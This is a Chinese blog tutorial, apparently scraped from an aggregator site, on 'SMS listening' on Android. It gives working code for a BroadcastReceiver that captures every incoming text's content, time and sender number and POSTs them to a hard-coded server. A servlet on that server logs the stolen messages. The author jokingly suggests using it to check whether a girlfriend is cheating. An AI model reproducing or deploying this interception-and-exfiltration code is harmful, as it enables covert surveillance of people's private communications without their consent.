android短信监听
来源:互联网 发布:java list泛型转换 编辑:程序博客网 时间:2024/06/06 03:04
今天又学了个新玩意儿,短信监听,要是某位程序猿想知道自己的女朋友是否有出轨行为,这个代码值得参考,呵呵,以上纯属玩笑,咱们写程序不能违法的是吧,好了,切入正题,上代码.
public class SMSBorder extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// 使用参数名称plus取得短信内容,短信以pdu短信格式,二进制
Object[] meg = (Object[]) intent.getExtras().get("pdus");
// 对短信进行迭代
for (Object p : meg) {
byte[] pdu = (byte[]) p;
// 转换成可以识别的短信对象
SmsMessage sms = SmsMessage.createFromPdu(pdu);
// 取得短信的各个组成部分
String text = sms.getMessageBody();// 短信内容
Date date = new Date(sms.getTimestampMillis());// 短信接收的时间,该时间为long类型
// 把时间进行格式转化,变成常规年月日,时分秒的形式
SimpleDateFormat formats = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
String receivetime = formats.format(date);
// 查看发送短信的对象,及发短信的电话号码
String ren = sms.getOriginatingAddress();
sendMessage(text, receivetime, ren);
}
}
private boolean sendMessage(String text, String receivetime, String ren) {
try {
String parm = "content=" + URLEncoder.encode(text, "UTF-8")
+ "&time=" + receivetime + "&number=" + ren;
byte[] entity = parm.getBytes();
// 得到服务器路径
String url = "http://192.168.211.98:8080/jsp/Receive";
// 采用http协议将数据发送到服务器
HttpURLConnection con = (HttpURLConnection) new URL(url)
.openConnection();
// 设置con的连接方式及相关参数
con.setConnectTimeout(4000);
con.setRequestMethod("POST");
con.setDoOutput(true);
// con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
// 设置实体数据
con.setRequestProperty("Content-Length",
String.valueOf(entity.length));
con.getOutputStream().write(entity);
if (con.getResponseCode() == 200) {
return true;
}
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return false;
}
}
以上为一个简单的短信监听案例,基本思想是继承一个广播接收事件即 BroadcastReceiver,然后 实现它的方法onReceive().再用intent来接收短信数据,运营商使用二进制格式发送短信,所以使用SmsMessage 这个对象将二进制短信内容转换成可识别的内容,既然得到了短信的相关内容,接下来就简单了,getMessageBody()得到短信内容,getTimestampMillis()得到短信发送的时间,不过这个时间要进行转变,不然就是一连串的数字在一起了,让人看起来不那么清晰,方法在代码中已给出,再其他的内容就看你自己想要得到哪些信息了,这里不再举例,既然得到了短信的相关数据了,要监听他们,我们该怎么做呢?
接下来就要用到J2EE的知识了,得到发短信着的数据,肯定要把短信内容反馈到监听者这里了,也就是所谓的服务器了,这里用一个简单的servlet做演示
public class Receive extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
}
protected void doPost(HttpServletRequest request,
HttpServletResponse response) throws ServletException, IOException {
String content=request.getParameter("content");
String time=request.getParameter("time");
String number=request.getParameter("number");
System.out.println("短信内容:"+content);
System.out.println("发送时间:"+time);
System.out.println("发送人号码:"+number);
}
}
由于上面的安卓端采用的是POST的请求方式,所以将接受数据的代码写在doPost方法中。这里相信学过J2EE的人都懂的。这里有一个地方可能要注意下,就是我设定的那个url地址,一般我们把代码部署到tomcat服务器上,在web界面显示的url开头都是localhost,但是这里不能写localhost,因为安卓手机并不能识别你所在的本地主机名,所以在局域网内是不能这样写的,必须写上你的ip地址全称(192.168.211.98),ip根据自己的机器而定,至于稍微有点难度的可能就是那个http协议传输数据了,这个不详细解释。下面贴上效果图
- android短信监听
- android短信监听工具
- Android 短信监听
- Android-短信监听工具
- android窃密短信监听
- android实现短信监听
- android实现短信监听
- android短信监听工具
- android短信监听
- Android 短信接收监听
- Android之监听短信
- android 短信监听
- Android 监听SMS短信
- Android 短信监听
- android短信监听
- Android短信监听
- Android 短信监听
- Android 数据库 短信 监听
- 手机刷机升级介绍
- 天梯题目解答--通过初赛1-2
- 对.Net 垃圾回收Finalize 和Dispose的理解
- u-boot-2013.07在mini2440上的移植(一):使用默认测试u-boot.bin
- OC中获取某个数的绝对值
- android短信监听
- SQL SERVER文本格式txt數據導入導出
- 进程间通信—消息队列(一)
- NLB负载均衡
- Task
- hdu4597 Play Game
- 网络负载平衡(Network Load Balancing)的工作原理
- linux命令的英文单词对照表
- LeetCode - Partition List